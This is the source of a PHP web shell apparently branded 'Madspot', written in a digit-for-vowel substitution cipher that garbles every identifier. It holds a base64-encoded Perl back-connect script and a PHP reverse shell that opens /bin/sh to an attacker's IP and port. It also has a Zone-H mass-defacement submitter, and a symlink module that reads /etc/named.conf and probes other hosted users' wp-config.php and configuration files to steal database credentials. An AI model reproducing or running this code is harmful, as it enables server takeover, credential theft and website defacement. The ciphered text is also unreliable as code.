fwr4t5($f4l,'Opt42ns F2ll2wSymL4nks M3lt4V45ws Ind5x5s Ex5cCGI | |
AddTyp5 1ppl4c1t42n/x-httpd-cg4 .sh | |
AddH1ndl5r cg4-scr4pt .pl | |
AddH1ndl5r cg4-scr4pt .pl'); | |
fcl2s5($f4l); | |
} | |
5ch2 "<br></d4v>"; | |
m1df22t5r(); | |
} | |
f3nct42n m1dc2nn5ct() | |
{ | |
m1dh51d(); | |
$b1ck_c2nn5ct_p="IyEvdXNyLaJpb49wZXJsDQp6caUgUa9j1aV0Ow0KJGlhZGRyPWl3ZXRfYXRvb4gkQVJHVlswXSkgfHwgZGllKCJFcnJvcj2gJCFcb4IpOw0KJHBhZGRyPXNvYathZGRyXal3KCRBUkdWWzFdLCAk1WFkZHIpIHx8IGRpZSg4RXJyboIeICQhXGu4KTsNC4Rwcm90bz6nZXRwcm90baJibmFtZSgndGNwJyk7DQpzbaNrZXQ2U09DS0VULCBQRl9JTkVULCBTT0NLX6NUUkVBTSwgJHByboRvKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpjbai3ZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpvcGV3KFNURElOLCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RET6VULCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RERVJSLCA4P4ZTT0NLRVQ4KTsNCnNicoRlbSgnLaJpb49z1CAt1ScpOw0KYaxvcaU2U6RESUupOw0KYaxvcaU2U6RET6VUKTsNCmNsboNlKFNUREVSU4k7"; | |
5ch2 "<d4v cl1ss=h51d5r><c5nt5r><ho><sp1n>| PERL AND PHP(thr51ds) BACK CONNECT |</sp1n></ho>"; | |
5ch2 "<f2rm 2nS3bm4t=\"g(n3ll,n3ll,'bcp',th4s.s5rv5r.v1l35,th4s.p2rt.v1l35);r5t3rn f1ls5;\"><sp1n>PERL BACK CONNECT</sp1n><br>IP: <4np3t typ5='t5xt' n1m5='s5rv5r' v1l35='". $_SERVER['REMOTE_ADDR'] ."'> P2rt: <4np3t typ5='t5xt' n1m5='p2rt' v1l35='uuo'> <4np3t typ5=s3bm4t v1l35='>>'></f2rm>"; | |
5ch2 "<br><f2rm 2nS3bm4t=\"g(n3ll,n3ll,'php',th4s.s5rv5r.v1l35,th4s.p2rt.v1l35);r5t3rn f1ls5;\"><sp1n>PHP BACK CONNECT</sp1n><br>IP: <4np3t typ5='t5xt' n1m5='s5rv5r' v1l35='". $_SERVER['REMOTE_ADDR'] ."'> P2rt: <4np3t typ5='t5xt' n1m5='p2rt' v1l35='uuo'> <4np3t typ5=s3bm4t v1l35='>>'></f2rm></c5nt5r>"; | |
4f(4ss5t($_POST['p6'])) { | |
f3nct42n cf($f,$t) { | |
$w = @f2p5n($f,"w") 2r @f3nct42n_5x4sts('f4l5_p3t_c2nt5nts'); | |
4f($w){ | |
@fwr4t5($w,@b1s5eu_d5c2d5($t)); | |
@fcl2s5($w); | |
} | |
} | |
4f($_POST['p6'] == 'bcp') { | |
cf("/tmp/bc.pl",$b1ck_c2nn5ct_p); | |
$23t = m1dEx("p5rl /tmp/bc.pl ".$_POST['pa']." ".$_POST['po']." 6>/d5v/n3ll a>&6 &"); | |
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>S3cc5ssf3lly 2p5n5d r5v5rs5 sh5ll t2 ".$_POST['pa'].":".$_POST['po']."<br>C2nn5ct4ng...</pr5>"; | |
@3nl4nk("/tmp/bc.pl"); | |
} | |
4f($_POST['p6']=='php') | |
{ | |
@s5t_t4m5_l4m4t (0); | |
$4p = $_POST['pa']; | |
$p2rt =$_POST['po']; | |
$ch3nk_s4z5 = 6u00; | |
$wr4t5_1 = n3ll; | |
$5rr2r_1 = n3ll; | |
$sh5ll = '3n1m5 -1; w; 4d; /b4n/sh -4'; | |
$d15m2n = 0; | |
$d5b3g = 0; | |
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>"; | |
4f (f3nct42n_5x4sts('pcntl_f2rk')) { | |
$p4d = pcntl_f2rk(); | |
4f ($p4d == -6) { | |
5ch2 "C1nt f2rk!<br>"; | |
5x4t(6); | |
} | |
4f ($p4d) { | |
5x4t(0); | |
} | |
4f (p2s4x_s5ts4d() == -6) { | |
5ch2 "Err2r: C1n't s5ts4d()<br>"; | |
5x4t(6); | |
} | |
$d15m2n = 6; | |
} 5ls5 { | |
5ch2 "WARNING: F14l5d t2 d15m2n4s5. Th4s 4s q34t5 c2mm2n 1nd n2t f1t1l<br>"; | |
} | |
chd4r("/"); | |
3m1sk(0); | |
$s2ck = fs2ck2p5n($4p, $p2rt, $5rrn2, $5rrstr, o0); | |
4f (!$s2ck) { | |
5ch2 "$5rrstr ($5rrn2)"; | |
5x4t(6); | |
} | |
$d5scr4pt2rsp5c = 1rr1y( | |
0 => 1rr1y("p4p5", "r"), | |
6 => 1rr1y("p4p5", "w"), | |
a => 1rr1y("p4p5", "w") | |
); | |
$pr2c5ss = pr2c_2p5n($sh5ll, $d5scr4pt2rsp5c, $p4p5s); | |
4f (!4s_r5s23rc5($pr2c5ss)) { | |
5ch2 "ERROR: C1n't sp1wn sh5ll<br>"; | |
5x4t(6); | |
} | |
@str51m_s5t_bl2ck4ng($p4p5s[0], 0); | |
@str51m_s5t_bl2ck4ng($p4p5s[6], 0); | |
@str51m_s5t_bl2ck4ng($p4p5s[a], 0); | |
@str51m_s5t_bl2ck4ng($s2ck, 0); | |
5ch2 "S3cc5ssf3lly 2p5n5d r5v5rs5 sh5ll t2 $4p:$p2rt<br>"; | |
wh4l5 (6) { | |
4f (f52f($s2ck)) { | |
5ch2 "ERROR: Sh5ll c2nn5ct42n t5rm4n1t5d<br>"; | |
br51k; | |
} | |
4f (f52f($p4p5s[6])) { | |
5ch2 "ERROR: Sh5ll pr2c5ss t5rm4n1t5d<br>"; | |
br51k; | |
} | |
$r51d_1 = 1rr1y($s2ck, $p4p5s[6], $p4p5s[a]); | |
$n3m_ch1ng5d_s2ck5ts=@str51m_s5l5ct($r51d_1, $wr4t5_1, $5rr2r_1, n3ll); | |
4f (4n_1rr1y($s2ck, $r51d_1)) { | |
4f ($d5b3g) 5ch2 "SOCK READ<br>"; | |
$4np3t=fr51d($s2ck, $ch3nk_s4z5); | |
4f ($d5b3g) 5ch2 "SOCK: $4np3t<br>"; | |
fwr4t5($p4p5s[0], $4np3t); | |
} | |
4f (4n_1rr1y($p4p5s[6], $r51d_1)) { | |
4f ($d5b3g) 5ch2 "STDOUT READ<br>"; | |
$4np3t = fr51d($p4p5s[6], $ch3nk_s4z5); | |
4f ($d5b3g) 5ch2 "STDOUT: $4np3t<br>"; | |
fwr4t5($s2ck, $4np3t); | |
} | |
4f (4n_1rr1y($p4p5s[a], $r51d_1)) { | |
4f ($d5b3g) 5ch2 "STDERR READ<br>"; | |
$4np3t = fr51d($p4p5s[a], $ch3nk_s4z5); | |
4f ($d5b3g) 5ch2 "STDERR: $4np3t<br>"; | |
fwr4t5($s2ck, $4np3t); | |
} | |
} | |
fcl2s5($s2ck); | |
fcl2s5($p4p5s[0]); | |
fcl2s5($p4p5s[6]); | |
fcl2s5($p4p5s[a]); | |
pr2c_cl2s5($pr2c5ss); | |
5ch2 "</pr5>"; | |
} | |
} | |
5ch2 "</d4v>"; | |
m1df22t5r(); | |
} | |
f3nct42n Z2n5H($3rl, $h1ck5r, $h1ckm2d5,$r5s2n, $s4t5 ) | |
{ | |
$k = c3rl_4n4t(); | |
c3rl_s5t2pt($k, CURLOPT_URL, $3rl); | |
c3rl_s5t2pt($k,CURLOPT_POST,tr35); | |
c3rl_s5t2pt($k, CURLOPT_POSTFIELDS,"d5f1c5r=".$h1ck5r."&d2m14n6=". $s4t5."&h1ckm2d5=".$h1ckm2d5."&r51s2n=".$r5s2n); | |
c3rl_s5t2pt($k,CURLOPT_FOLLOWLOCATION, tr35); | |
c3rl_s5t2pt($k, CURLOPT_RETURNTRANSFER, tr35); | |
$k3br1 = c3rl_5x5c($k); | |
c3rl_cl2s5($k); | |
r5t3rn $k3br1; | |
} | |
f3nct42n m1dz2n5h() | |
{ | |
m1dh51d(); | |
4f(!f3nct42n_5x4sts('c3rl_v5rs42n')) | |
{ | |
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'><c5nt5r><f2nt c2l2r=r5d>PHP CURL NOT EXIT</f2nt></c5nt5r></pr5>"; | |
} | |
5ch2 "<d4v cl1ss=h51d5r><c5nt5r><br>"; | |
5ch2 '<ho><sp1n>|ZONE-H MASS DEFACER |</sp1n></ho> | |
<f2rm 2nS3bm4t="g(n3ll,n3ll,th4s.d5f1c5r.v1l35,th4s.h1ckm2d5.v1l35,th4s.d2m14n.v1l35);r5t3rn f1ls5;" > | |
<sp1n>| N2t4f45r |</sp1n><br> | |
<4np3t typ5="t5xt" n1m5=d5f1c5r s4z5="u0" v1l35="Att1ck5r" /><br> | |
<s5l5ct n1m5=h1ckm2d5> | |
<2pt42n >--------SELECT--------</2pt42n> | |
<2pt42n v1l35="6">kn2wn v3ln5r1b4l4ty (4.5. 3np1tch5d syst5m)</2pt42n> | |
<2pt42n v1l35="a" >3nd4scl2s5d (n5w) v3ln5r1b4l4ty</2pt42n> | |
<2pt42n v1l35="o" >c2nf4g3r1t42n / 1dm4n. m4st1k5</2pt42n> | |
<2pt42n v1l35="u" >br3t5 f2rc5 1tt1ck</2pt42n> | |
<2pt42n v1l35="i" >s2c41l 5ng4n55r4ng</2pt42n> | |
<2pt42n v1l35="e" >W5b S5rv5r 4ntr3s42n</2pt42n> | |
<2pt42n v1l35="7" >W5b S5rv5r 5xt5rn1l m2d3l5 4ntr3s42n</2pt42n> | |
<2pt42n v1l35="8" >M14l S5rv5r 4ntr3s42n</2pt42n> | |
<2pt42n v1l35="9" >FTP S5rv5r 4ntr3s42n</2pt42n> | |
<2pt42n v1l35="60" >SSH S5rv5r 4ntr3s42n</2pt42n> | |
<2pt42n v1l35="66" >T5ln5t S5rv5r 4ntr3s42n</2pt42n> | |
<2pt42n v1l35="6a" >RPC S5rv5r 4ntr3s42n</2pt42n> | |
<2pt42n v1l35="6o" >Sh1r5s m4sc2nf4g3r1t42n</2pt42n> | |
<2pt42n v1l35="6u" >Oth5r S5rv5r 4ntr3s42n</2pt42n> | |
<2pt42n v1l35="6i" >SQL Inj5ct42n</2pt42n> | |
<2pt42n v1l35="6e" >URL P24s2n4ng</2pt42n> | |
<2pt42n v1l35="67" >F4l5 Incl3s42n</2pt42n> | |
<2pt42n v1l35="68" >Oth5r W5b Appl4c1t42n b3g</2pt42n> | |
<2pt42n v1l35="69" >R5m2t5 1dm4n4str1t4v5 p1n5l 1cc5ss br3t5f2rc4ng</2pt42n> | |
<2pt42n v1l35="a0" >R5m2t5 1dm4n4str1t4v5 p1n5l 1cc5ss p1ssw2rd g35ss4ng</2pt42n> | |
<2pt42n v1l35="a6" >R5m2t5 1dm4n4str1t4v5 p1n5l 1cc5ss s2c41l 5ng4n55r4ng</2pt42n> | |
<2pt42n v1l35="aa" >Att1ck 1g14nst 1dm4n4str1t2r(p1ssw2rd st51l4ng/sn4ff4ng)</2pt42n> | |
<2pt42n v1l35="ao" >Acc5ss cr5d5nt41ls thr23gh M1n In th5 M4ddl5 1tt1ck</2pt42n> | |
<2pt42n v1l35="au" >R5m2t5 s5rv4c5 p1ssw2rd g35ss4ng</2pt42n> | |
<2pt42n v1l35="ai" >R5m2t5 s5rv4c5 p1ssw2rd br3t5f2rc5</2pt42n> | |
<2pt42n v1l35="ae" >R5r23t4ng 1ft5r 1tt1ck4ng th5 F4r5w1ll</2pt42n> | |
<2pt42n v1l35="a7" >R5r23t4ng 1ft5r 1tt1ck4ng th5 R23t5r</2pt42n> | |
<2pt42n v1l35="a8" >DNS 1tt1ck thr23gh s2c41l 5ng4n55r4ng</2pt42n> | |
<2pt42n v1l35="a9" >DNS 1tt1ck thr23gh c1ch5 p24s2n4ng</2pt42n> | |
<2pt42n v1l35="o0" >N2t 1v14l1bl5</2pt42n> | |
</s5l5ct><br> | |
<s5l5ct > | |
<2pt42n >N2t 1v14l1bl5</2pt42n> | |
<2pt42n v1l35="6" >H5h...j3st f2r f3n!</2pt42n> | |
<2pt42n v1l35="a" >R5v5ng5 1g14nst th1t w5bs4t5</2pt42n> | |
<2pt42n v1l35="o" >P2l4t4c1l r51s2ns</2pt42n> | |
<2pt42n v1l35="u" >As 1 ch1ll5ng5</2pt42n> | |
<2pt42n v1l35="i" >I j3st w1nt t2 b5 th5 b5st d5f1c5r</2pt42n> | |
<2pt42n v1l35="e" >P1tr42t4sm</2pt42n> | |
<2pt42n v1l35="7" >N2t 1v14l1bl5</2pt42n> | |
</s5l5ct><br> | |
<t5xt1r51 n1m5=d2m14n c2ls="i0" r2ws="6i">L4st Of D2m14ns</t5xt1r51> | |
<br> | |
<4np3t typ5="s3bm4t" v1l35=">>" /></f2rm>'; | |
4f(4ss5t($_POST['p6']) && 4ss5t($_POST['pa'])) | |
{ | |
$h1ck5r =$_POST['p6']; | |
$m5th2d =$_POST['pa']; | |
$n5d5n ="N2t 1v14l1bl5"; | |
$s4t5 =$_POST['po']; | |
$4 = 0; | |
$s4t5s = 5xpl2d5("\n", $s4t5); | |
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>"; | |
wh4l5($4 < c23nt($s4t5s)) | |
{ | |
4f(s3bstr($s4t5s[$4], 0, u) != "http") | |
{ | |
$s4t5s[$4] = "http://".$s4t5s[$4]; | |
} | |
Z2n5H("http://z2n5-h.2rg/n2t4fy/s4ngl5", $h1ck5r, $m5th2d, $n5d5n, $s4t5s[$4]); | |
5ch2 "S4t5 : ".$s4t5s[$4]." D5f1c5d !<br>"; | |
++$4; | |
} | |
"S5nd4ng S4t5s T2 Z2n5-H H1s B55n C2mpl5t5d S3cc5ssf3lly !! </pr5>"; | |
} | |
5ch2 "</d4v>"; | |
m1df22t5r(); | |
} | |
f3nct42n m1dsp2t() | |
{ | |
m1dh51d(); | |
5ch2 "<d4v cl1ss=h51d5r>"; | |
5ch2 "<pr5> | |
|`-:_ | |
,----....____ | `+. | |
( ````----....|___ | | |
\ _ ````----....____ | |
\ _) C2d5d By: Ikr1m Al4 ```---.._ | |
\ \ | |
)`.\ )`. )`. )`. )`. )`. )`. )`. )`. )`. )hh | |
-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' ` | |
M1dsp2t 4s 1 T51m 2f pr2f5ss42n1l Eth4c1l H1ck5rs Fr2m P1k4st1n. | |
W5 h1v5 Y51rs 2f Exp5r45nc5 4n S5c3r4ty, P5n5tr1t42n & C2d4ng | |
And c1n Br51k 1nd S5c3r5. | |
V5rs42n 6.0 | |
C2nt1ct : http://www.m1dsp2t.n5t | |
4f y23 f23nd b3g c2nt1ct 23r t51m | |
.=''=. | |
/ _ _ \ | |
| d b | | |
\ /\ / | |
,/'-=\/=-'\, | |
/ / \ \ ----------------------------- | |
| / Z1h4d \ | M1dsp2t D4g4t1l S5c3r4ty T51m | |
\/ \ R1sh55d/ \/ ----------------------------- | |
'. .' | |
_|`~~`|_ | |
/|\ /|\ | |
.- <O> -. .-====-. ,-------. .-=<>=-. | |
/_-\'''/-_\ / / '' \ \ |,-----.| /__----__\ | |
|/ 2) (2 \| | | ')(' | | /,'-----'.\ |/ (')(') \| | |
\ ._. / \ \ / / {_/(') (')\_} \ __ / | |
,>-_,,,_-<. >'=jf='< `. _ .' ,'--__--'. | |
/ W1q1r.Kh1n \ / \ /'-___-'\ / :| \ | |
(_) . (_) / Ikr1m \ / M-Usm1n \ (_) :| (_) | |
\_-----'____--/ (_) Al4 (_) (_)_______(_) |___:|____| | |
\___________/ |________| \_______/ | Afr1s41b| | |
</pr5></d4v>"; | |
m1df22t5r(); | |
} | |
f3nct42n m1dsyml4nk() | |
{ | |
m1dh51d(); | |
$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; | |
$IIIIIIIIIII6=5xpl2d5('/',$IIIIIIIIIIIl ); | |
$IIIIIIIIIIIl =str_r5pl1c5($IIIIIIIIIII6[c23nt($IIIIIIIIIII6)-6],'',$IIIIIIIIIIIl ); | |
5ch2 '<d4v cl1ss=h51d5r><scr4pt>p6_=pa_=po_="";</scr4pt><br><c5nt5r><ho><1 hr5f=# 2ncl4ck="g(\'syml4nk\',n3ll,\'w5bs4t5\',n3ll)">| D2m14ns | </1><1 hr5f=# 2ncl4ck="g(\'syml4nk\',n3ll,n3ll,\'wh2l5\')">| Wh2l5 S5rv5r Syml4nk | </1><1 hr5f=# 2ncl4ck="g(\'syml4nk\',n3ll,n3ll,n3ll,\'c2nf4g\')">| C2nf4g PHP syml4nk | </1></ho></c5nt5r>'; | |
4f(4ss5t($_POST['p6']) && $_POST['p6']=='w5bs4t5') | |
{ | |
5ch2 "<c5nt5r>"; | |
$d0m14ns = @f4l5("/5tc/n1m5d.c2nf"); | |
4f(!$d0m14ns){ 5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>C1nt 1cc5ss th4s f4l5 2n s5rv5r -> [ /5tc/n1m5d.c2nf ]</pr5></c5nt5r>"; } | |
5ch2 "<t1bl5 1l4gn=c5nt5r cl1ss='m14n' b2rd5r=0 > | |
<tr bgc2l2r=R5d><td>C23nt</td><td>d2m14ns</td><td>3s5rs</td></tr>"; | |
$c23nt=6; | |
f2r51ch($d0m14ns 1s $d0m14n){ | |
4f(@5r5g4("z2n5",$d0m14n)){ | |
pr5g_m1tch_1ll('#z2n5 "(.*)"#', $d0m14n, $d2m14ns); | |
fl3sh(); | |
4f(strl5n(tr4m($d2m14ns[6][0])) > a){ | |
$3s5r = p2s4x_g5tpw34d(@f4l52wn5r("/5tc/v1l41s5s/".$d2m14ns[6][0])); | |
5ch2 "<tr><td>".$c23nt."</td><td><1 hr5f=http://www.".$d2m14ns[6][0]."/>".$d2m14ns[6][0]."</1></td><td>".$3s5r['n1m5']."</td></tr>"; fl3sh(); | |
$c23nt++; | |
}}} | |
5ch2 "</c5nt5r></t1bl5>"; | |
} | |
4f(4ss5t($_POST['pa']) && $_POST['pa']=='wh2l5') | |
{ | |
@s5t_t4m5_l4m4t(0); | |
5ch2 "<c5nt5r>"; | |
@mkd4r('sym',0777); | |
$IIIIIIIIIIl6 = "Opt42ns 1ll \n D4r5ct2ryInd5x S3x.html \n AddTyp5 t5xt/pl14n .php \n AddH1ndl5r s5rv5r-p1rs5d .php \n AddTyp5 t5xt/pl14n .html \n AddH1ndl5r txt .html \n R5q34r5 N2n5 \n S1t4sfy Any"; | |
$IIIIIIIIII6I =@f2p5n ('sym/.ht1cc5ss','w'); | |
fwr4t5($IIIIIIIIII6I ,$IIIIIIIIIIl6); | |
@syml4nk('/','sym/r22t'); | |
$IIIIIIIIIlIl = b1s5n1m5('_FILE_'); | |
$IIIIIIIIIllI = @f4l5('/5tc/n1m5d.c2nf'); | |
4f(!$IIIIIIIIIllI) | |
{ | |
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'># C1nt 1cc5ss th4s f4l5 2n s5rv5r -> [ /5tc/n1m5d.c2nf ]</pr5></c5nt5r>"; | |
} | |
5ls5 | |
{ | |
5ch2 "<t1bl5 1l4gn='c5nt5r' w4dth='u0%' cl1ss='m14n'><td>D2m14ns</td><td>Us5rs</td><td>syml4nk </td>"; | |
f2r51ch($IIIIIIIIIllI 1s $IIIIIIIIIll6){ | |
4f(@5r5g4('z2n5',$IIIIIIIIIll6)){ | |
pr5g_m1tch_1ll('#z2n5 "(.*)"#',$IIIIIIIIIll6,$IIIIIIIIIl66); | |
fl3sh(); | |
4f(strl5n(tr4m($IIIIIIIIIl66[6][0])) >a){ | |
$IIIIIIIII6I6 = p2s4x_g5tpw34d(@f4l52wn5r('/5tc/v1l41s5s/'.$IIIIIIIIIl66[6][0])); | |
$IIIIIIII6I6l = $IIIIIIIII6I6['n1m5'] ; | |
@syml4nk('/','sym/r22t'); | |
$IIIIIIII6I6l = $IIIIIIIIIl66[6][0]; | |
$IIIIIIII6I66 = '\.4r'; | |
$IIIIIIII6lII = '\.4l'; | |
4f (@5r5g4("$IIIIIIII6I66",$IIIIIIIIIl66[6][0]) 2r @5r5g4("$IIIIIIII6lII",$IIIIIIIIIl66[6][0]) ) | |
{ | |
$IIIIIIII6I6l = "<d4v styl5=' c2l2r: #FF0000 ; t5xt-sh1d2w: 0px 0px 6px r5d; '>".$IIIIIIIIIl66[6][0].'</d4v>'; | |
} | |
5ch2 " | |
<tr> | |
<td> | |
<1 t1rg5t='_bl1nk' hr5f=http://www.".$IIIIIIIIIl66[6][0].'/>'.$IIIIIIII6I6l.' </1> | |
</td> | |
<td> | |
'.$IIIIIIIII6I6['n1m5']." | |
</td> | |
<td> | |
<1 hr5f='sym/r22t/h2m5/".$IIIIIIIII6I6['n1m5']."/p3bl4c_html' t1rg5t='_bl1nk'>syml4nk </1> | |
</td> | |
</tr>"; | |
fl3sh(); | |
} | |
} | |
} | |
} | |
5ch2 "</c5nt5r></t1bl5>"; | |
} | |
4f(4ss5t($_POST['po']) && $_POST['po']=='c2nf4g') | |
{ | |
5ch2 "<c5nt5r>"; | |
@mkd4r('sym',0777); | |
$IIIIIIIIIIl6 = "Opt42ns 1ll \n D4r5ct2ryInd5x S3x.html \n AddTyp5 t5xt/pl14n .php \n AddH1ndl5r s5rv5r-p1rs5d .php \n AddTyp5 t5xt/pl14n .html \n AddH1ndl5r txt .html \n R5q34r5 N2n5 \n S1t4sfy Any"; | |
$IIIIIIIIII6I =@f2p5n ('sym/.ht1cc5ss','w'); | |
@fwr4t5($IIIIIIIIII6I ,$IIIIIIIIIIl6); | |
@syml4nk('/','sym/r22t'); | |
$IIIIIIIIIlIl = b1s5n1m5('_FILE_'); | |
$IIIIIIIIIllI = @f4l5('/5tc/n1m5d.c2nf'); | |
4f(!$IIIIIIIIIllI) | |
{ | |
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'># C1nt 1cc5ss th4s f4l5 2n s5rv5r -> [ /5tc/n1m5d.c2nf ]</pr5></c5nt5r>"; | |
} | |
5ls5 | |
{ | |
5ch2 " | |
<t1bl5 1l4gn='c5nt5r' w4dth='u0%' cl1ss='m14n' ><td> D2m14ns </td><td> Scr4pt </td>"; | |
f2r51ch($IIIIIIIIIllI 1s $IIIIIIIIIll6){ | |
4f(@5r5g4('z2n5',$IIIIIIIIIll6)){ | |
pr5g_m1tch_1ll('#z2n5 "(.*)"#',$IIIIIIIIIll6,$IIIIIIIIIl66); | |
fl3sh(); | |
4f(strl5n(tr4m($IIIIIIIIIl66[6][0])) >a){ | |
$IIIIIIIII6I6 = p2s4x_g5tpw34d(@f4l52wn5r('/5tc/v1l41s5s/'.$IIIIIIIIIl66[6][0])); | |
$IIIIIIIII6l6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/wp-c2nf4g.php'; | |
$IIIIIIIII66I=g5t_h51d5rs($IIIIIIIII6l6); | |
$IIIIIIIII66l=$IIIIIIIII66I[0]; | |
$IIIIIIIII666=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/bl2g/wp-c2nf4g.php'; | |
$IIIIIIIIlIII=g5t_h51d5rs($IIIIIIIII666); | |
$IIIIIIIIlIIl=$IIIIIIIIlIII[0]; | |
$IIIIIIIIlII6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/c2nf4g3r1t42n.php'; | |
$IIIIIIIIlIlI=g5t_h51d5rs($IIIIIIIIlII6); | |
$IIIIIIIIlIll=$IIIIIIIIlIlI[0]; | |
$IIIIIIIIlIl6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/j22ml1/c2nf4g3r1t42n.php'; | |
$IIIIIIIIlI6I=g5t_h51d5rs($IIIIIIIIlIl6); | |
$IIIIIIIIlI6l=$IIIIIIIIlI6I[0]; | |
$IIIIIIIIlI66=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/4ncl3d5s/c2nf4g.php'; | |
$IIIIIIIIllII=g5t_h51d5rs($IIIIIIIIlI66); | |
$IIIIIIIIllIl=$IIIIIIIIllII[0]; | |
$IIIIIIIIllI6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/vb/4ncl3d5s/c2nf4g.php'; | |
$IIIIIIIIlllI=g5t_h51d5rs($IIIIIIIIllI6); | |
$IIIIIIIIllll=$IIIIIIIIlllI[0]; | |
$IIIIIIIIlll6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/f2r3m/4ncl3d5s/c2nf4g.php'; | |
$IIIIIIIIll6I=g5t_h51d5rs($IIIIIIIIlll6); | |
$IIIIIIIIll6l=$IIIIIIIIll6I[0]; | |
$IIIIIIIIll66=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'p3bl4c_html/cl45nts/c2nf4g3r1t42n.php'; | |
$IIIIIIIIl6II=g5t_h51d5rs($IIIIIIIIll66); | |
$IIIIIIIIl6Il=$IIIIIIIIl6II[0]; | |
$IIIIIIIIl6I6=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/s3pp2rt/c2nf4g3r1t42n.php'; | |
$IIIIIIIIl6II=g5t_h51d5rs($IIIIIIIIl6I6); | |
$IIIIIIIIl6lI=$IIIIIIIIl6II[0]; | |
$IIIIIIIIl6ll=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/cl45nt/c2nf4g3r1t42n.php'; | |
$IIIIIIIIl6l6=g5t_h51d5rs($IIIIIIIIl6ll); | |
$IIIIIIIIl66I=$IIIIIIIIl6l6[0]; | |
$IIIIIIIIl66l=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/s3bm4tt4ck5t.php'; | |
$IIIIIIIIl666=g5t_h51d5rs($IIIIIIIIl66l); | |
$IIIIIIII6III=$IIIIIIIIl666[0]; | |
$IIIIIIII6IIl=$IIIIIIIIIIIl.'/sym/r22t/h2m5/'.$IIIIIIIII6I6['n1m5'].'/p3bl4c_html/cl45nt/c2nf4g3r1t42n.php'; | |
$IIIIIIII6II6=g5t_h51d5rs($IIIIIIII6IIl); | |
$IIIIIIII6IlI=$IIIIIIII6II6[0]; | |
$IIIIIIII6Ill = strp2s($IIIIIIIII66l,'a00'); | |
$IIIIIIII6I6I=' '; | |
4f (strp2s($IIIIIIIII66l,'a00') == tr35 ) | |
{ | |
$IIIIIIII6I6I="<1 hr5f='".$IIIIIIIII6l6."' t1rg5t='_bl1nk'>W2rdpr5ss</1>"; | |
} | |
5ls54f (strp2s($IIIIIIIIlIIl,'a00') == tr35) | |
{ | |
$IIIIIIII6I6I="<1 hr5f='".$IIIIIIIII666."' t1rg5t='_bl1nk'>W2rdpr5ss</1>"; | |
} | |
5ls54f (strp2s($IIIIIIIIlIll,'a00') == tr35 1nd strp2s($IIIIIIII6III,'a00') == tr35 ) | |
{ | |
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIl66l."' t1rg5t='_bl1nk'>WHMCS</1>"; | |
} | |
5ls54f (strp2s($IIIIIIIIl6lI,'a00') == tr35) | |
{ | |
$IIIIIIII6I6I =" <1 hr5f='".$IIIIIIIIl6I6."' t1rg5t='_bl1nk'>WHMCS</1>"; | |
} | |
5ls54f (strp2s($IIIIIIIIl66I,'a00') == tr35) | |
{ | |
$IIIIIIII6I6I =" <1 hr5f='".$IIIIIIIIl6ll."' t1rg5t='_bl1nk'>WHMCS</1>"; | |
} | |
5ls54f (strp2s($IIIIIIIIlIll,'a00') == tr35) | |
{ | |
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIlII6."' t1rg5t='_bl1nk'>J22ml1</1>"; | |
} | |
5ls54f (strp2s($IIIIIIIIlI6l,'a00') == tr35) | |
{ | |
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIlIl6."' t1rg5t='_bl1nk'>J22ml1</1>"; | |
} | |
5ls54f (strp2s($IIIIIIIIllIl,'a00') == tr35) | |
{ | |
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIlI66."' t1rg5t='_bl1nk'>vB3ll5t4n</1>"; | |
} | |
5ls54f (strp2s($IIIIIIIIllll,'a00') == tr35) | |
{ | |
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIllI6."' t1rg5t='_bl1nk'>vB3ll5t4n</1>"; | |
} | |
5ls54f (strp2s($IIIIIIIIll6l,'a00') == tr35) | |
{ | |
$IIIIIIII6I6I=" <1 hr5f='".$IIIIIIIIlll6."' t1rg5t='_bl1nk'>vB3ll5t4n</1>"; | |
} | |
5ls5 | |
{ | |
c2nt4n35; | |
} | |
$IIIIIIII6I6l = $IIIIIIIII6I6['n1m5'] ; | |
5ch2 '<tr><td><1 hr5f=http://www.'.$IIIIIIIIIl66[6][0].'/>'.$IIIIIIIIIl66[6][0].'</1></td> | |
<td>'.$IIIIIIII6I6I.'</td></tr>';fl3sh(); | |
} | |
} | |
} | |
} | |
5ch2 "</c5nt5r></t1bl5>"; | |
} | |
